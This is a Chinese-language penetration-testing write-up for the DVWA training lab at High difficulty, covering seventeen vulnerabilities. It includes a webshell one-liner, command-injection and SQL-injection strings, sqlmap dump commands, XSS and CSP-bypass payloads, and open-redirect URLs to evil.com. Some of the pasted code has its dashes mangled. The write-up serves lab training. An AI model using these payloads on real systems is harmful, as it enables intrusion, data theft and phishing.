DVWA 靶场实验报告 (High Level)
难度等级:High 报告说明:本文为 DVWA 靶场 High 难度下17个漏洞的详细渗透测试步骤,包含漏洞原理、利用方法、工具操作及核心Payload,全程基于Burp Suite、Sqlmap等工具实现,所有操作步骤均配套实操截图 https://www.cnblogs.com/wrold
📑 目录
1. Brute Force — 暴力破解
漏洞特点
High 难度新增时间延迟+user_token 验证,token 明文显示在前端页面,需动态提取 token 配合爆破。
利用步骤


- 进入Intruder,选择Pitchfork 交叉爆破,标记password和user_token为爆破位置;

- 进入Settings,开启提取Grep项,正则表达式配置为value=(.*?)\\/>\\r\\n,匹配前端的token值;

- 对user_token的Payload类型选择递归提取,并填入初始请求的有效token(抓包获取的原始token)。



核心注意点
抓包后禁止提前发包,否则token会刷新导致爆破失败,需保证初始token与爆破请求一致。
2. Command Injection — 命令注入
漏洞特点
High 难度对管道符等命令分隔符做了黑名单过滤,但过滤代码存在空格书写错误,导致过滤失效,可构造无空格的命令拼接Payload。
漏洞代码分析
if(isset($_POST['Submit'])){
$target= trim($_REQUEST['ip']);
$substitutions = array(
// 过滤代码存在多余空格,导致过滤逻辑失效
);
$target=str_replace( array_keys( $substitutions ),$substitutions, $target );
if(stristr(php_uname('s'),"Windows NT")){
$cmd=shell_exec("ping ".$target);
}else{
$cmd=shell_exec("ping -c4 ".$target);
}
$html.="<pre>{$cmd}</pre>";
}

利用方法
直接构造无空格管道符拼接的Payload,绕过滤黑名单位置:
127.0.0.1|whoami
提交后成功执行系统命令,返回当前用户信息。 
3. CSRF — 跨站请求伪造
漏洞特点
High 难度新增user_token 验证,token 明文显示在前端HTML源码中,单纯构造CSRF链接无法绕过,需配合XSS漏洞提取token后组合攻击。
漏洞分析


攻击思路
4. File Inclusion — 文件包含
漏洞特点
High 难度对page参数做了关键词白名单过滤(仅允许包含file/fie),但未限制伪协议,可通过file://伪协议实现任意文件读取。
漏洞代码分析

$file=$_GET['page'];
if(!fnmatch("file,fie",$file)&&$file !="include.php"){
echo "ERROR:File not found!";
exit;
}
利用方法
构造file://伪协议Payload,指定本地文件绝对路径,实现任意目录文件读取:
http://dvwa:8564/vulnerabilities/fi/?page=file://D:/1.php

拓展利用
若服务器开启php://伪协议相关配置,可结合php://filter实现源码读取:
http://dvwa:8564/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php
5. File Upload — 文件上传
漏洞特点
High 难度做了多重过滤:文件类型校验、文件大小限制、getimagesize()图片头校验,无法直接上传webshell,需制作图片马配合文件包含漏洞实现webshell执行。
漏洞代码分析

// 校验文件后缀、大小、是否为图片
if((strtolower($uploaded_ext) in $allowed_ext)&&($uploaded_size<100000)&&getimagesize($uploaded_tmp)){
// 上传成功逻辑
}
利用步骤
copy 1.png /b + shell.php /a 11.png
图片马内容示例:<?php phpinfo();?>(测试用)/<?php @eval($_POST['pass']);?>(一句话webshell)。


访问后成功执行phpinfo(),证明图片马生效。

核心注意点
图片马必须保留合法图片头,否则getimagesize()会检测出非图片文件,导致上传失败。
6. Insecure CAPTCHA — 不安全的验证码
7. SQL Injection — SQL 注入
漏洞特点
High 难度新增会话弹窗验证,但注入核心逻辑未变,仍为字符型注入,可通过手工注入或Sqlmap实现数据提取。
利用步骤(手工注入)
- 输入1:正常返回数据;

- 输入1':页面报错,说明为字符型注入,需用单引号闭合,注释符#截断语句。


- 提取数据库名:-1' union select 1,database() #
- 提取表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
- 提取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
- 提取账号密码:-1' union select user,password from users #

利用步骤(Sqlmap自动化注入)
由于注入结果在第二个页面展示,需使用–second-url参数指定结果页面,命令如下:
# 读取所有数据库
sqlmap -r D:\\Backup\\桌面\\1.txt –dbs –batch –second-url=http://dvwa:8564/vulnerabilities/sqli/
# 读取users表数据
sqlmap -r D:\\Backup\\桌面\\1.txt -D dvwa -T users -C user,password –dump –batch –second-url=http://dvwa:8564/vulnerabilities/sqli/
执行后成功提取数据库中所有账号和加密后的密码。
8. SQL Injection (Blind) — SQL 盲注
漏洞特点
High 难度在时间盲注中加入随机sleep延迟(rand(0,5)==3时触发2-4秒延迟),导致时间盲注失效,仅能使用布尔盲注实现数据提取。 
漏洞代码分析
else {
// 随机sleep,干扰时间盲注
if(rand(0,5)==3){
sleep(rand(2,4));
}
}
利用步骤(Sqlmap自动化布尔盲注)

sqlmap -r D:\\Backup\\桌面\\1.txt –dbs –batch –second-url="http://dvwa:8564/vulnerabilities/sqli_blind/" –technique=B

核心注意点
请求包中有多个参数时,避免同时标记多个注入点,逐个测试定位真实注入点(本次为Cookie的id参数)。
9. Weak Session IDs — 弱会话 ID
漏洞特点
High 难度的dvwaSession参数为MD5加密的简单数字,可通过MD5解密构造有效会话ID,导致会话劫持。
利用步骤
漏洞危害
攻击者可通过构造弱会话ID,冒充其他用户登录系统,获取敏感信息。
10. XSS (DOM) — DOM 型跨站脚本
漏洞特点
High 难度对default参数做了白名单过滤(仅允许French、English、German、Spanish),非白名单值会被重定向,可通过**#号**绕过服务器过滤(服务器不解析#后参数,前端DOM解析)。
漏洞代码分析

if(array_key_exists("default",$_GET)&&!is_nulL($_GET['default'])){
switch($_GET['default']){
case "French":case "English":case "German":case"Spanish":
break;
default:
header("Location:?default=English");
exit;
}
}
利用方法
构造Payload,白名单值+#号+XSS脚本,服务器仅解析#前的English,前端DOM解析#后的XSS脚本:
http://dvwa:8564/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
访问后成功弹出弹窗,XSS利用成功。 
11. XSS (Reflected) — 反射型跨站脚本
漏洞特点
High 难度对<script>标签做了严格的正则过滤(匹配任意变种的script关键字,如ScRiPt、script等),无法直接使用script标签,可通过事件型XSS绕过滤。
漏洞代码分析

$name=preg_replace('/<(.*)s(.*)c(.*)(.)i(.*)p(.*)t/i',"",$_GET['name']);
$html.="<pre>hello{$name}</pre>";
利用方法
使用<img>标签的onerror事件构造无script的XSS Payload,触发弹窗:
<img src=x onerror=alert(1)>
提交后成功弹出弹窗,XSS利用成功。 
拓展Payload
<div onmouseover=alert(1)>鼠标悬停触发</div>
<a href=javascript:alert(1)>点击触发</a>
12. XSS (Stored) — 存储型跨站脚本
漏洞特点
High 难度对message字段做了多重过滤(strip_tags+addslashes+htmlspecialchars),完全无法注入;对name字段仅过滤<script>标签,可在name字段构造事件型XSS,并修改前端输入框限制实现长Payload输入。
漏洞代码分析

// message字段严格过滤
$message=strip_tags(addslashes( $message));
$message=htmlspecialchars ( $message);
// name字段仅过滤script标签
$name=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/i',"",$name);
利用步骤

3. 提交触发:提交后留言簿中存储该Payload,任意用户访问留言簿页面时,自动弹出弹窗,存储型XSS利用成功。 
13. CSP Bypass — CSP 绕过
漏洞特点
High 难度配置了内容安全策略(CSP),仅允许加载self(自身域名)的脚本,禁止外部脚本和未授权内联脚本,但靶场自身代码存在逻辑漏洞,可通过自身的JSONP接口绕过CSP。

漏洞分析


利用方法
通过POST请求向include参数注入脚本,加载自身JSONP接口并执行XSS代码,Payload如下:
include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>
操作步骤

14. JavaScript Attacks — JavaScript 攻击
漏洞特点
High 难度通过JavaScript加密算法生成token,需提交正确的phrase+token才能通过验证,核心为分析加密逻辑并还原token生成过程。
加密逻辑分析
通过Burp抓包获取混淆的JS代码,反混淆后得到3个核心加密函数,执行顺序为:token_part_1 → token_part_2(300ms延时) → token_part_3(点击提交触发)。
反混淆后核心JS代码
// 字符串反转
function do_something(e) {
for (var t = "", n = e.length – 1; n >= 0; n—) t += e[n];
return t
}
// sha256(YY + token),High难度为XX
function token_part_2(e = "XX") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
// sha256(token + ZZ)
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
// 反转phrase赋值给token
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
// 执行顺序:先token_part_1,300ms后token_part_2,点击提交触发token_part_3
document.getElementById("phrase").value = "";
setTimeout(function() {token_part_2("XX")}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

利用方法(两种)
方法1:前端控制台手动执行加密函数

token_part_2("XX");
3. 点击提交按钮,触发token_part_3生成最终token,验证成功。 
方法2:Python脚本还原加密过程,直接生成token
通过Python实现字符串反转+SHA256加密,直接生成最终token,构造POST请求提交。
Python加密脚本
import hashlib
def do_something(e):
"""字符串反转"""
return e[::–1]
def sha256(s):
"""SHA256 哈希计算"""
return hashlib.sha256(s.encode()).hexdigest()
def calc_token(phrase="success"):
# Step 1: token_part_1 – 反转phrase
token = do_something(phrase)
print(f"Step 1 (反转phrase): {token}")
# Step 2: token_part_2 – sha256("XX" + token)
token = sha256("XX" + token)
print(f"Step 2 (sha256 XX+token): {token}")
# Step 3: token_part_3 – sha256(token + "ZZ")
token = sha256(token + "ZZ")
print(f"Step 3 (sha256 token+ZZ): {token}")
return token
if __name__ == "__main__":
phrase = "success"
token = calc_token(phrase)
print(f"\\n最终token: {token}")
print(f"POST数据: phrase={phrase}&send=Submit&token={token}")
执行脚本
运行后生成最终token,通过Burp构造POST请求提交,验证成功。

15. Authorisation Bypass — 越权访问
漏洞特点
High 难度对前端页面做了管理员权限校验(非admin用户访问提示403),但对后端接口文件change_user_details.php未做鉴权,可直接发送JSON请求修改任意用户信息。
漏洞代码分析

// 前端页面权限校验

if (dvwaCurrentUser() !="admin"){
print "Unauthorised";
http_response_code(403);
exit;
}
// 后端接口change_user_details.php 无任何鉴权逻辑
利用方法
直接向change_user_details.php发送JSON格式的POST请求,修改任意用户的id、姓名等信息:
4. 发送请求后,返回{"result":"ok"},用户信息修改成功。 
16. Open HTTP Redirect — 开放重定向
漏洞特点
High 难度对redirect参数做了关键字匹配过滤(仅允许包含info.php),但未限制info.php的位置,可构造包含info.php的恶意URL,实现任意地址重定向。
漏洞代码分析
if (array_key_exists("redirect",$_GET) && $_GET['redirect']!=""){
if(strpos($_GET['redirect'],"info.php")==false){
http_response_code(500);
echo "<p>You can only redirect to the info page.</p>";
exit;
}else{
// 重定向逻辑
header("Location: ".$_GET['redirect']);
}
}

利用方法
构造包含info.php的恶意URL,绕过滤后将受害者重定向到钓鱼网站/恶意站点,核心Payload示例:
# Payload1:参数后拼接info.php
?redirect=https://evil.com/?x=info.php
# Payload2:子域名中包含info.php
?redirect=https://evil.com/info.php.attacker.com/
# Payload3:锚点后拼接info.php
?redirect=https://attacker.com#info.php
漏洞危害
攻击者诱导受害者点击恶意链接,受害者在信任的dvwa域名下被重定向到恶意站点,导致钓鱼、账号窃取等攻击。
网硕互联帮助中心



![[破阵阁・网安淬锋公开赛 决赛] Secure File Viewer WP-网硕互联帮助中心](https://www.wsisp.com/helps/wp-content/uploads/2026/02/20260213154948-698f481c69403-220x150.png)


评论前必须登录!
注册